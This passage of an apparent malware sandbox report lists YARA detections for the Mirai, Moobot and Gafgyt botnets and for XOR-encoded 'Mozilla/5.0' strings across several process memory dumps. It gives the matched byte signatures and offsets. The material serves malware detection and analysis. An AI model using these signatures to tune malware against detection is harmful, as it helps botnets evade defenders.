33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7072.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6352.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6352.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6352.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6352.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6352.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6352.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6369.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6369.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6369.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6369.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6369.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6369.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6365.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6239.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6239.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6239.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6239.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6239.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6239.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6998.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6958.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7297.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7297.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7297.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7297.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7297.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7297.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6716.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6365.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6365.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6365.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6365.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6365.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6365.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7280.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
